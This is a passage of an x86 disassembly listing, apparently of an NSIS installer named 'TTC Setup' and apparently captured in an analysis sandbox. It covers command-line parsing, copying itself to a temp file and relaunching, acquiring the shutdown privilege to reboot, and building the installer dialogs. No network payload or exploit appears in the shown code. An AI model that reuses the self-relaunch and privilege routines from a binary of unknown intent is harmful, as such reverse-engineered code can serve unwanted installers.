loc_403EF8:				; CODE XREF: start+D4j
		cmp	byte ptr [eax],	22h
		mov	byte ptr [esp+6Ch+var_58], 20h
		jnz	short loc_403F08
		inc	eax
		mov	byte ptr [esp+6Ch+var_58], 22h

loc_403F08:				; CODE XREF: start+E4j
		cmp	byte ptr [eax],	2Fh
		jnz	short loc_403F40
		inc	eax
		cmp	byte ptr [eax],	53h
		jnz	short loc_403F21
		mov	cl, [eax+1]
		or	cl, 20h
		cmp	cl, 20h
		jnz	short loc_403F21
		or	ebx, 2

loc_403F21:				; CODE XREF: start+F5j	start+100j
		cmp	dword ptr [eax], 4352434Eh
		jnz	short loc_403F37
		mov	cl, [eax+4]
		or	cl, 20h
		cmp	cl, 20h
		jnz	short loc_403F37
		or	ebx, 4

loc_403F37:				; CODE XREF: start+10Bj start+116j
		cmp	dword ptr [eax-2], 3D442F20h
		jz	short loc_403F58

loc_403F40:				; CODE XREF: start+EFj
		push	[esp+6Ch+var_58]
		push	eax
		call	sub_4063FB
		cmp	byte ptr [eax],	22h
		jnz	short loc_403F50
		inc	eax

loc_403F50:				; CODE XREF: start+CFj	start+131j
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_403EED
		jmp	short loc_403F6A
; ---------------------------------------------------------------------------

loc_403F58:				; CODE XREF: start+122j
		and	byte ptr [eax-2], 0
		add	eax, 2
		push	eax
		push	offset byte_435400
		call	sub_4068C9	; lstrcpy

loc_403F6A:				; CODE XREF: start+13Aj
		push	ebx
		call	sub_4038D5
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[esp+74h+var_64], eax
		jnz	short loc_403FE0
		cmp	dword_42F034, ebx
		jz	short loc_403FD0
		push	ebx
		push	edi
		call	sub_4063FB
		mov	esi, eax
		jmp	short loc_403F96
; ---------------------------------------------------------------------------

loc_403F8D:				; CODE XREF: start+17Cj
		cmp	dword ptr [esi], 3D3F5F20h
		jz	short loc_403F9A
		dec	esi

loc_403F96:				; CODE XREF: start+16Fj
		cmp	esi, edi
		jnb	short loc_403F8D

loc_403F9A:				; CODE XREF: start+177j
		cmp	esi, edi
		mov	[esp+74h+var_64], offset aErrorLaunching ; "Error launching installer"
		jb	short loc_40400C
		and	byte ptr [esi],	0
		add	esi, 4
		push	esi
		call	sub_4064B0
		test	eax, eax
		jz	short loc_403FE0
		push	esi
		push	offset byte_435400
		call	sub_4068C9	; lstrcpy
		push	esi
		push	offset aCProgramFilesC ; "C:\\Program Files\\Common Files"
		call	sub_4068C9	; lstrcpy
		mov	[esp+84h+var_74], ebx

loc_403FD0:				; CODE XREF: start+164j
		or	dword_42F0CC, 0FFFFFFFFh
		call	sub_4041E1
		mov	[esp+84h+var_6C], eax

loc_403FE0:				; CODE XREF: start+77j	start+15Cj ...
		call	sub_4041BC
		call	ds:dword_407280
		cmp	[esp+84h+var_74], 0
		jz	loc_4040FF
		push	100010h
		push	[esp+88h+var_74]
		call	sub_406202
		push	2
		call	ds:dword_4070B4	; ExitProcess

loc_40400C:				; CODE XREF: start+188j
		mov	[esp+88h+var_74], ebx
		mov	edi, offset byte_42A5E9
		mov	esi, offset byte_42A5E8
		mov	ebx, offset dword_42A1E8

loc_40401F:				; CODE XREF: start+2D8j
		push	offset aCDocume1SriU_1 ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\"
		push	edi
		mov	byte_42A5E8, 22h
		call	sub_4068C9	; lstrcpy
		push	offset aANsisu__exe ; "A~NSISu_.exe"
		push	esi
		call	ebp	; lstrcat
		push	edi
		call	ds:dword_407110	; DeleteFileA
		cmp	[esp+9Ch+var_8C], 0
		jz	loc_4040E5
		push	400h
		push	ebx
		push	dword_42F020
		call	ds:dword_4070A4	; GetModuleFileNameA
		lea	eax, dword_42A1DD[eax]
		push	4091C9h
		push	eax
		call	ds:dword_407068	; lstrcmpi
		test	eax, eax
		jz	loc_403FE0
		push	0
		push	edi
		push	ebx
		call	ds:dword_4070B0	; CopyFileA
		test	eax, eax
		jz	short loc_4040E5
		push	0
		push	edi
		call	sub_406606
		cmp	ds:byte_435400,	0
		jz	short loc_4040A3
		push	offset byte_435400
		push	ebx
		call	sub_4068C9	; lstrcpy
		jmp	short loc_4040A9
; ---------------------------------------------------------------------------

loc_4040A3:				; CODE XREF: start+278j
		push	ebx
		call	sub_406417

loc_4040A9:				; CODE XREF: start+285j
		push	offset asc_409248 ; "\"	"
		push	esi
		call	ebp	; lstrcat
		push	[esp+0C4h+var_A8]
		push	esi
		call	ebp	; lstrcat
		push	offset a_?	; " _?="
		push	esi
		call	ebp	; lstrcat
		push	ebx
		push	esi
		call	ebp	; lstrcat
		push	esi
		call	sub_4063CF
		push	offset aCDocume1SriU_1 ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\"
		push	esi
		call	sub_40618A
		test	eax, eax
		jz	short loc_4040E5
		push	eax
		call	ds:dword_40706C	; CloseHandle
		and	[esp+0E0h+var_D0], 0

loc_4040E5:				; CODE XREF: start+229j start+267j ...
		inc	byte ptr aANsisu__exe ;	"A~NSISu_.exe"
		inc	[esp+0E0h+var_CC]
		cmp	[esp+0E0h+var_CC], 1Ah
		jl	loc_40401F
		jmp	loc_403FE0
; ---------------------------------------------------------------------------

loc_4040FF:				; CODE XREF: start+1D4j
		cmp	dword_42F0B4, 0
		jz	loc_4041A4
		push	offset aAdvapi32_dll ; "ADVAPI32.dll"
		call	ds:dword_407134	; GetModuleHandleA
		mov	edi, eax
		test	edi, edi
		jz	short loc_40418F
		mov	esi, ds:dword_40713C
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	ebp, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	ebx, eax
		call	esi	; GetProcAddress
		test	ebp, ebp
		mov	edi, eax
		jz	short loc_40418F
		test	ebx, ebx
		jz	short loc_40418F
		test	edi, edi
		jz	short loc_40418F
		lea	eax, [esp+0A0h+var_84]
		push	eax
		push	28h
		call	ds:dword_4070AC	; GetCurrentProcess
		push	eax
		call	ebp	; lstrcat
		test	eax, eax
		jz	short loc_40418F
		lea	eax, [esp+0ACh+var_88]
		xor	esi, esi
		push	eax
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		push	esi
		call	ebx	; GetTickCount
		push	esi
		push	esi
		lea	eax, [esp+0C0h+var_98]
		push	esi
		push	eax
		push	esi
		push	[esp+0CCh+var_9C]
		mov	[esp+0D0h+var_98], 1
		mov	[esp+0D0h+var_8C], 2
		call	edi	; SendMessageA

loc_40418F:				; CODE XREF: start+2FFj start+327j ...
		push	0
		push	2
		call	ds:dword_407178	; ExitWindowsEx
		test	eax, eax
		jnz	short loc_4041A4
		push	9
		call	sub_4020C0

loc_4041A4:				; CODE XREF: start+2EAj start+37Fj
		mov	eax, dword_42F0CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4041B2
		mov	[esp+0D8h+var_C0], eax

loc_4041B2:				; CODE XREF: start+390j
		push	[esp+0D8h+var_C0]
		call	ds:dword_4070B4	; ExitProcess
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4041BC	proc near		; CODE XREF: start:loc_403FE0p
		mov	eax, dword_409048
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4041D4
		push	eax
		call	ds:dword_40706C	; CloseHandle
		or	dword_409048, 0FFFFFFFFh

loc_4041D4:				; CODE XREF: sub_4041BC+8j
		push	7
		push	offset aCDocume1SriU_2 ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"...
		call	sub_406253
		retn
sub_4041BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4041E1	proc near		; CODE XREF: start+1BBp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		mov	eax, dword_42F030
		sub	esp, 14h
		and	eax, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_42F028
		push	edi
		mov	dword_42F0A0, eax
		call	sub_404440
		mov	ebp, offset byte_435400
		push	ebp
		call	sub_4064B0
		xor	ebx, ebx
		test	eax, eax
		jnz	loc_404295
		mov	ecx, [esi+48h]
		cmp	ecx, ebx
		jz	short loc_404295
		mov	edx, [esi+4Ch]
		mov	eax, dword_42F058
		mov	edi, offset aCall_0 ; "Call"
		add	edx, eax
		push	edi
		add	ecx, eax
		push	edx
		push	ecx
		push	dword ptr [esi+44h]
		call	sub_4067BD
		mov	al, byte ptr aCall_0 ; "Call"
		cmp	al, bl
		jz	short loc_404295
		cmp	al, 22h
		jnz	short loc_404254
		mov	edi, 42DFC1h
		push	22h
		push	edi
		call	sub_4063FB
		mov	[eax], bl

loc_404254:				; CODE XREF: sub_4041E1+62j
		push	edi
		call	sub_4068CF	; lstrlen
		lea	eax, [eax+edi-4]
		cmp	eax, edi
		jbe	short loc_404288
		push	offset a_exe	; ".exe"
		push	eax
		call	ds:dword_407068	; lstrcmpi
		test	eax, eax
		jnz	short loc_404288
		push	edi
		call	ds:dword_407074	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404282
		test	al, 10h
		jnz	short loc_404288

loc_404282:				; CODE XREF: sub_4041E1+9Bj
		push	edi
		call	sub_406417

loc_404288:				; CODE XREF: sub_4041E1+7Fj
					; sub_4041E1+8Fj ...
		push	edi
		call	sub_4063CF
		push	eax
		push	ebp
		call	sub_4068C9	; lstrcpy

loc_404295:				; CODE XREF: sub_4041E1+2Ej
					; sub_4041E1+39j ...
		push	ebp
		call	sub_4064B0
		test	eax, eax
		jnz	short loc_4042AB
		push	dword ptr [esi+118h]
		push	ebp
		call	sub_4068D5

loc_4042AB:				; CODE XREF: sub_4041E1+BCj
		push	8040h
		push	ebx
		push	ebx
		push	1
		push	67h
		push	dword_42F020
		call	ds:dword_407234	; LoadImageA
		mov	dword_42E808, eax
		cmp	dword ptr [esi+50h], 0FFFFFFFFh
		mov	edi, offset dword_42E7C0
		jz	loc_40435F
		mov	ecx, dword_42F020
		mov	dword_42E7D4, eax
		lea	eax, [esp+24h+var_14]
		push	edi
		mov	[esp+28h+var_14], 624E5Fh
		mov	dword_42E7C4, offset sub_401E32
		mov	dword_42E7D0, ecx
		mov	dword_42E7E4, eax
		call	ds:dword_407190	; RegisterClassA
		test	ax, ax
		jz	loc_404436
		lea	eax, [esp+24h+var_10]
		push	ebx
		push	eax
		push	ebx
		push	30h
		call	ds:dword_40718C	; SystemParametersInfoA
		push	ebx
		push	dword_42F020
		mov	eax, [esp+2Ch+var_4]
		sub	eax, [esp+2Ch+var_C]
		push	ebx
		push	ebx
		push	eax
		mov	eax, [esp+38h+var_8]
		sub	eax, [esp+38h+var_10]
		push	eax
		lea	eax, [esp+3Ch+var_14]
		push	[esp+3Ch+var_C]
		push	[esp+40h+var_10]
		push	80000000h
		push	ebx
		push	eax
		push	80h
		call	ds:dword_407188	; CreateWindowExA
		mov	dword_42B5F8, eax

loc_40435F:				; CODE XREF: sub_4041E1+EFj
		push	ebx
		call	sub_4020C0
		test	eax, eax
		jz	short loc_404371

loc_404369:				; CODE XREF: sub_4041E1+23Cj
					; sub_4041E1+249j
		push	2
		pop	eax
		jmp	loc_404438
; ---------------------------------------------------------------------------

loc_404371:				; CODE XREF: sub_4041E1+186j
		call	sub_404440
		cmp	dword_42F0C0, ebx
		jnz	loc_40440D
		push	5
		push	dword_42B5F8
		call	ds:dword_407218	; ShowWindow
		mov	esi, ds:dword_407138
		mov	ebp, offset aRiched20_dll ; "RichEd20.dll"
		push	ebp
		call	esi	; LoadLibraryA
		test	eax, eax
		jnz	short loc_4043AE
		push	ebp
		mov	word ptr aRiched20_dll+6, 3233h
		call	esi	; LoadLibraryA

loc_4043AE:				; CODE XREF: sub_4041E1+1BFj
		mov	ebp, ds:dword_407184
		mov	esi, offset aRichedit20a ; "RichEdit20A"
		push	edi
		push	esi
		push	ebx
		call	ebp	; GetClassInfoA
		test	eax, eax
		jnz	short loc_4043E1
		push	edi
		push	esi
		push	ebx
		mov	byte ptr aRichedit20a+8, bl
		call	ebp	; GetClassInfoA
		push	edi
		mov	dword_42E7E4, esi
		mov	byte ptr aRichedit20a+8, 32h
		call	ds:dword_407190	; RegisterClassA

loc_4043E1:				; CODE XREF: sub_4041E1+1DFj
		mov	eax, dword_42E800
		push	ebx
		add	eax, 69h
		push	offset sub_4044FB
		movzx	eax, ax
		push	ebx
		push	eax
		push	dword_42F020
		call	ds:dword_407180	; DialogBoxParamA
		push	5
		mov	esi, eax
		call	sub_4020C0
		mov	eax, esi
		jmp	short loc_404438
; ---------------------------------------------------------------------------

loc_40440D:				; CODE XREF: sub_4041E1+19Bj
		push	ebx
		call	sub_405D83
		test	eax, eax
		jz	short loc_40442F
		cmp	dword_42E7EC, ebx
		jnz	loc_404369
		push	2
		call	sub_4020C0
		jmp	loc_404369
; ---------------------------------------------------------------------------

loc_40442F:				; CODE XREF: sub_4041E1+234j
		push	1
		call	sub_4020C0

loc_404436:				; CODE XREF: sub_4041E1+12Bj
		xor	eax, eax

loc_404438:				; CODE XREF: sub_4041E1+18Bj
					; sub_4041E1+22Aj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
sub_4041E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_404440	proc near		; CODE XREF: sub_4041E1+1Ap
					; sub_4041E1:loc_404371p
		cmp	ds:byte_436000,	0
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, 0FFFFh
		mov	ebx, offset byte_436000
		jz	short loc_40445F
		push	ebx
		call	sub_406840
		jmp	short loc_404465
; ---------------------------------------------------------------------------

loc_40445F:				; CODE XREF: sub_404440+15j
		call	ds:dword_4070C8	; GetUserDefaultLangID

loc_404465:				; CODE XREF: sub_404440+1Dj
		xor	ecx, ecx

loc_404467:				; CODE XREF: sub_404440+8Dj
					; sub_404440+91j
		mov	esi, dword_42F064
		test	esi, esi
		jz	short loc_4044B8
		mov	ecx, dword_42F028
		mov	ecx, [ecx+64h]
		mov	edx, ecx
		imul	ecx, esi
		neg	edx
		add	ecx, dword_42F060

loc_404487:				; CODE XREF: sub_404440+59j
		add	ecx, edx
		dec	esi
		mov	bp, [ecx]
		xor	bp, ax
		and	ebp, edi
		test	bp, bp
		jz	short loc_40449D
		test	esi, esi
		jnz	short loc_404487
		jmp	short loc_4044B8
; ---------------------------------------------------------------------------

loc_40449D:				; CODE XREF: sub_404440+55j
		mov	edx, [ecx+2]
		mov	dword_42E800, edx
		mov	edx, [ecx+6]
		mov	dword_42F0C8, edx
		lea	edx, [ecx+0Ah]
		mov	dword_42E7FC, edx

loc_4044B8:				; CODE XREF: sub_404440+2Fj
					; sub_404440+5Bj
		cmp	dword_42E7FC, 0
		jnz	short loc_4044D3
		cmp	di, 0FFFFh
		jnz	short loc_4044CF
		mov	edi, 3FFh
		jmp	short loc_404467
; ---------------------------------------------------------------------------

loc_4044CF:				; CODE XREF: sub_404440+86j
		xor	edi, edi
		jmp	short loc_404467
; ---------------------------------------------------------------------------

loc_4044D3:				; CODE XREF: sub_404440+7Fj
		movzx	eax, word ptr [ecx]
		push	eax
		push	ebx
		call	sub_406827
		push	0FFFFFFFEh
		push	offset aTtcSetup ; "TTC	Setup"
		call	sub_4068D5
		push	eax
		push	dword_42B5F8
		call	ds:dword_40720C	; SetWindowTextA
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_404440	endp


; =============== S U B	R O U T	I N E =======================================



sub_4044FB	proc near		; DATA XREF: sub_4041E1+209o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 10h
		mov	ecx, 110h
		push	ebx
		push	ebp
		mov	ebp, [esp+18h+arg_4]
		push	esi
		cmp	ebp, ecx
		push	edi
		jz	loc_404686
		cmp	ebp, 408h
		jz	loc_404686
		mov	ebx, [esp+20h+arg_0]
		cmp	ebp, 47h
		jnz	short loc_40453D
		xor	eax, eax
		push	13h
		push	eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	dword_42B5F8
		call	ds:dword_4071A8	; SetWindowPos

loc_40453D:				; CODE XREF: sub_4044FB+2Bj
		cmp	ebp, 5
		jnz	short loc_40455A
		mov	eax, [esp+20h+arg_8]
		dec	eax
		neg	eax
		sbb	eax, eax
		and	eax, ebp
		push	eax
		push	dword_42B5F8
		call	ds:dword_407218	; ShowWindow

loc_40455A:				; CODE XREF: sub_4044FB+45j
		cmp	ebp, 40Dh
		jnz	short loc_40457C
		push	dword_42E7F8
		call	ds:dword_407204	; DestroyWindow
		mov	eax, [esp+20h+arg_8]
		mov	dword_42E7F8, eax
		jmp	loc_404977
; ---------------------------------------------------------------------------

loc_40457C:				; CODE XREF: sub_4044FB+65j
		cmp	ebp, 11h
		jnz	short loc_404594
		push	0
		push	0
		push	ebx
		call	ds:dword_407230	; SetWindowLongA
		xor	eax, eax
		inc	eax
		jmp	loc_40499E
; ---------------------------------------------------------------------------

loc_404594:				; CODE XREF: sub_4044FB+84j
		cmp	ebp, 10h
		jnz	short loc_4045CC
		mov	eax, dword_42F044
		dec	eax
		cmp	dword_4092A4, eax
		jnz	loc_404673
		push	dword_42ADE8
		call	ds:dword_4071A4	; IsWindowEnabled
		test	eax, eax
		jnz	loc_404673
		mov	ebp, 111h
		mov	[esp+20h+arg_8], 1

loc_4045CC:				; CODE XREF: sub_4044FB+9Cj
		cmp	ebp, 111h
		jnz	loc_404673
		movzx	esi, word ptr [esp+20h+arg_8]
		push	esi
		push	ebx
		call	ds:dword_40722C	; GetDlgItem
		mov	ebx, ds:dword_407248
		mov	edi, eax
		test	edi, edi
		jz	short loc_40460C
		push	0
		push	0
		push	0F3h
		push	edi
		call	ebx	; SendMessageA
		push	edi
		call	ds:dword_4071A4	; IsWindowEnabled
		test	eax, eax
		jz	loc_40499C

loc_40460C:				; CODE XREF: sub_4044FB+F4j
		xor	edi, edi
		inc	edi
		cmp	esi, edi
		jnz	short loc_404616
		push	edi
		jmp	short loc_404644
; ---------------------------------------------------------------------------

loc_404616:				; CODE XREF: sub_4044FB+116j
		cmp	esi, 3
		jnz	short loc_404628
		cmp	dword_4092A4, 0
		jle	short loc_40465E
		push	0FFFFFFFFh
		jmp	short loc_404644
; ---------------------------------------------------------------------------

loc_404628:				; CODE XREF: sub_4044FB+11Ej
		cmp	esi, 2
		jnz	short loc_40465E
		cmp	dword_42F0AC, 0
		jz	short loc_40464B
		push	esi
		call	sub_4020C0
		mov	dword_42ADF0, esi

loc_404642:				; CODE XREF: sub_4044FB+161j
		push	78h

loc_404644:				; CODE XREF: sub_4044FB+119j
					; sub_4044FB+12Bj
		call	sub_4049A8
		jmp	short loc_404673
; ---------------------------------------------------------------------------

loc_40464B:				; CODE XREF: sub_4044FB+139j
		push	3
		call	sub_4020C0
		test	eax, eax
		jnz	short loc_404673
		mov	dword_42ADF0, edi
		jmp	short loc_404642
; ---------------------------------------------------------------------------

loc_40465E:				; CODE XREF: sub_4044FB+127j
					; sub_4044FB+130j
		push	[esp+20h+arg_C]
		push	[esp+24h+arg_8]
		push	111h
		push	dword_42E7F8
		call	ebx	; SendMessageA

loc_404673:				; CODE XREF: sub_4044FB+AAj
					; sub_4044FB+BEj ...
		push	[esp+20h+arg_C]
		push	[esp+24h+arg_8]
		push	ebp
		call	sub_404A36
		jmp	loc_40499E
; ---------------------------------------------------------------------------

loc_404686:				; CODE XREF: sub_4044FB+12j
					; sub_4044FB+1Ej
		mov	eax, [esp+20h+arg_8]
		mov	ebx, [esp+20h+arg_0]
		cmp	ebp, ecx
		mov	dword_42B604, eax
		jnz	short loc_4046E4
		mov	esi, ds:dword_40722C
		push	1
		push	ebx
		mov	dword_42F024, ebx
		call	esi	; GetDlgItem
		push	2
		push	ebx
		mov	dword_42BA14, eax
		call	esi	; GetDlgItem
		push	0FFFFFFFFh
		push	1Ch
		push	ebx
		mov	dword_42ADE8, eax
		call	sub_4049CF
		push	dword_42E808
		push	0FFFFFFF2h
		push	ebx
		call	ds:dword_4071A0	; SetClassLongA
		push	4
		call	sub_4020C0
		mov	dword_42E7EC, eax
		xor	eax, eax
		inc	eax
		mov	dword_42B604, eax

loc_4046E4:				; CODE XREF: sub_4044FB+19Aj
		mov	ecx, dword_4092A4
		xor	edi, edi
		mov	esi, ecx
		shl	esi, 6
		add	esi, dword_42F040
		cmp	ecx, edi
		jl	short loc_404725
		cmp	eax, 1
		jnz	short loc_40471D
		push	edi
		push	dword ptr [esi+10h]
		call	sub_40201D
		test	eax, eax
		jz	short loc_40471D
		xor	eax, eax
		cmp	dword_42E7EC, edi
		setz	al
		jmp	loc_40499E
; ---------------------------------------------------------------------------

loc_40471D:				; CODE XREF: sub_4044FB+203j
					; sub_4044FB+210j
		cmp	[esi], edi
		jz	loc_40499C

loc_404725:				; CODE XREF: sub_4044FB+1FEj
		push	40Bh
		call	sub_404A1B

loc_40472F:				; CODE XREF: sub_4044FB+370j
					; sub_4044FB+378j ...
		mov	eax, dword_42B604
		add	dword_4092A4, eax
		shl	eax, 6
		add	esi, eax
		mov	eax, dword_4092A4
		cmp	eax, dword_42F044
		jnz	short loc_404753
		push	1
		call	sub_4020C0

loc_404753:				; CODE XREF: sub_4044FB+24Fj
		cmp	dword_42E7EC, 0
		jnz	loc_404957
		mov	eax, dword_42F044
		cmp	dword_4092A4, eax
		jnb	loc_404957
		push	dword ptr [esi+24h]
		mov	edi, [esi+14h]
		push	offset dword_437000
		call	sub_4068D5
		push	dword ptr [esi+20h]
		push	0FFFFFC19h
		push	ebx
		call	sub_4049CF
		push	dword ptr [esi+1Ch]
		push	0FFFFFC1Bh
		push	ebx
		call	sub_4049CF
		push	dword ptr [esi+28h]
		push	0FFFFFC1Ah
		push	ebx
		call	sub_4049CF
		push	3
		push	ebx
		call	ds:dword_40722C	; GetDlgItem
		cmp	dword_42F0AC, 0
		mov	ebp, eax
		jz	short loc_4047C7
		and	di, 0FEFDh
		or	edi, 4

loc_4047C7:				; CODE XREF: sub_4044FB+2C2j
		mov	eax, edi
		and	eax, 8
		push	eax
		push	ebp
		call	ds:dword_407218	; ShowWindow
		mov	eax, edi
		and	eax, 100h
		push	eax
		push	ebp
		call	ds:dword_40723C	; EnableWindow
		mov	eax, edi
		and	eax, 2
		push	eax
		call	sub_4049F1
		and	edi, 4
		push	edi
		push	dword_42ADE8
		call	ds:dword_40723C	; EnableWindow
		xor	edi, edi
		push	1
		push	edi
		push	0F4h
		push	ebp
		mov	ebp, ds:dword_407248
		call	ebp	; SendMessageA
		cmp	dword_42F0AC, edi
		jz	short loc_40482C
		push	edi
		push	2
		push	401h
		push	ebx
		call	ebp	; SendMessageA
		push	dword_42ADE8
		jmp	short loc_404832
; ---------------------------------------------------------------------------

loc_40482C:				; CODE XREF: sub_4044FB+31Cj
		push	dword_42BA14

loc_404832:				; CODE XREF: sub_4044FB+32Fj
		call	sub_404A04
		mov	ebp, offset dword_42BA18
		push	offset aTtcSetup ; "TTC	Setup"
		push	ebp
		call	sub_4068C9	; lstrcpy
		push	dword ptr [esi+18h]
		push	ebp
		call	sub_4068CF	; lstrlen
		add	eax, ebp
		push	eax
		call	sub_4068D5
		push	ebp
		push	ebx
		call	ds:dword_40720C	; SetWindowTextA
		push	edi
		push	dword ptr [esi+8]
		call	sub_40201D
		test	eax, eax
		jnz	loc_40472F
		cmp	[esi], eax
		jz	loc_40472F
		cmp	dword ptr [esi+4], 5
		jnz	short loc_40489C
		cmp	dword_42F0AC, eax
		jnz	loc_40499C
		cmp	dword_42F0A0, eax
		jnz	loc_40472F
		jmp	loc_40499C
; ---------------------------------------------------------------------------

loc_40489C:				; CODE XREF: sub_4044FB+382j
		push	dword_42E7F8
		call	ds:dword_407204	; DestroyWindow
		mov	dword_42ADF4, esi
		cmp	dword ptr [esi], 0
		jle	loc_404977
		mov	eax, [esi+4]
		push	esi
		push	off_4092A8[eax*4]
		mov	ax, [esi]
		add	ax, word ptr dword_42E800
		push	ebx
		movzx	eax, ax
		push	eax
		push	dword_42F020
		call	ds:dword_407200	; CreateDialogParamA
		test	eax, eax
		mov	dword_42E7F8, eax
		jz	loc_404977
		push	dword ptr [esi+2Ch]
		push	6
		push	eax
		call	sub_4049CF
		lea	eax, [esp+20h+var_10]
		push	eax
		push	3FAh
		push	ebx
		call	ds:dword_40722C	; GetDlgItem
		push	eax
		call	ds:dword_40719C	; GetWindowRect
		lea	eax, [esp+20h+var_10]
		push	eax
		push	ebx
		call	ds:dword_407198	; ScreenToClient
		xor	edi, edi
		push	15h
		push	edi
		push	edi
		push	[esp+2Ch+var_C]
		push	[esp+30h+var_10]
		push	edi
		push	dword_42E7F8
		call	ds:dword_4071A8	; SetWindowPos
		push	edi
		push	dword ptr [esi+0Ch]
		call	sub_40201D
		push	8
		push	dword_42E7F8
		call	ds:dword_407218	; ShowWindow
		push	405h
		call	sub_404A1B
		jmp	short loc_404977
; ---------------------------------------------------------------------------

loc_404957:				; CODE XREF: sub_4044FB+25Fj
					; sub_4044FB+270j
		push	dword_42E7F8
		call	ds:dword_407204	; DestroyWindow
		push	dword_42ADF0
		and	dword_42F024, 0
		push	ebx
		call	ds:dword_407194	; EndDialog

loc_404977:				; CODE XREF: sub_4044FB+7Cj
					; sub_4044FB+3B6j ...
		cmp	dword_42CA18, 0
		jnz	short loc_40499C
		cmp	dword_42E7F8, 0
		jz	short loc_40499C
		push	0Ah
		push	ebx
		call	ds:dword_407218	; ShowWindow
		mov	dword_42CA18, 1

loc_40499C:				; CODE XREF: sub_4044FB+10Bj
					; sub_4044FB+224j ...
		xor	eax, eax

loc_40499E:				; CODE XREF: sub_4044FB+94j
					; sub_4044FB+186j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10h
		retn	10h
sub_4044FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4049A8	proc near		; CODE XREF: sub_4044FB:loc_404644p
					; sub_405DE5+219p ...

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 78h
		jnz	short loc_4049B5
		inc	dword_42E7EC

loc_4049B5:				; CODE XREF: sub_4049A8+5j
		push	0
		push	[esp+4+arg_0]
		push	408h
		push	dword_42F024
		call	ds:dword_407248	; SendMessageA
		retn	4
sub_4049A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4049CF	proc near		; CODE XREF: sub_4044FB+1C1p
					; sub_4044FB+28Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		push	0
		call	sub_4068D5
		push	eax
		mov	eax, [esp+4+arg_4]
		add	eax, 3E8h
		push	eax
		push	[esp+8+arg_0]
		call	sub_4061E0	; SetDlgItemTextA
		retn	0Ch
sub_4049CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4049F1	proc near		; CODE XREF: sub_4044FB+2EEp
					; sub_404B17+92p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	dword_42BA14
		call	ds:dword_40723C	; EnableWindow
		retn	4
sub_4049F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_404A04	proc near		; CODE XREF: sub_4044FB:loc_404832p
					; sub_404B17+A8p ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		push	28h
		push	dword_42F024
		call	ds:dword_407248	; SendMessageA
		retn	4
sub_404A04	endp


; =============== S U B	R O U T	I N E =======================================



sub_404A1B	proc near		; CODE XREF: sub_4044FB+22Fp
					; sub_4044FB+455p ...

arg_0		= dword	ptr  4

		mov	eax, dword_42E7F8
		test	eax, eax
		jz	short locret_404A33
		push	0
		push	0
		push	[esp+8+arg_0]
		push	eax
		call	ds:dword_407248	; SendMessageA

locret_404A33:				; CODE XREF: sub_404A1B+7j
		retn	4
sub_404A1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404A36	proc near		; CODE XREF: sub_4044FB+181p
					; sub_404B17+29Cp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	esi
		add	eax, 0FFFFFECDh
		cmp	eax, 5
		ja	loc_404ADC
		push	0FFFFFFEBh
		push	[ebp+arg_8]
		call	ds:dword_4071B0	; GetWindowLongA
		mov	esi, eax
		test	esi, esi
		jz	short loc_404ADC
		test	byte ptr [esi+14h], 2
		mov	eax, [esi]
		push	edi
		mov	edi, ds:dword_4071AC
		jz	short loc_404A71
		push	eax
		call	edi	; GetSysColor

loc_404A71:				; CODE XREF: sub_404A36+36j
		test	byte ptr [esi+14h], 1
		jz	short loc_404A81
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_407050	; SetTextColor

loc_404A81:				; CODE XREF: sub_404A36+3Fj
		push	dword ptr [esi+10h]
		push	[ebp+arg_4]
		call	ds:dword_40704C	; SetBkMode
		mov	eax, [esi+4]
		test	byte ptr [esi+14h], 8
		mov	[ebp+var_8], eax
		jz	short loc_404A9F
		push	eax
		call	edi	; GetSysColor
		mov	[ebp+var_8], eax

loc_404A9F:				; CODE XREF: sub_404A36+61j
		test	byte ptr [esi+14h], 4
		pop	edi
		jz	short loc_404AB0
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_407054	; SetBkColor

loc_404AB0:				; CODE XREF: sub_404A36+6Ej
		test	byte ptr [esi+14h], 10h
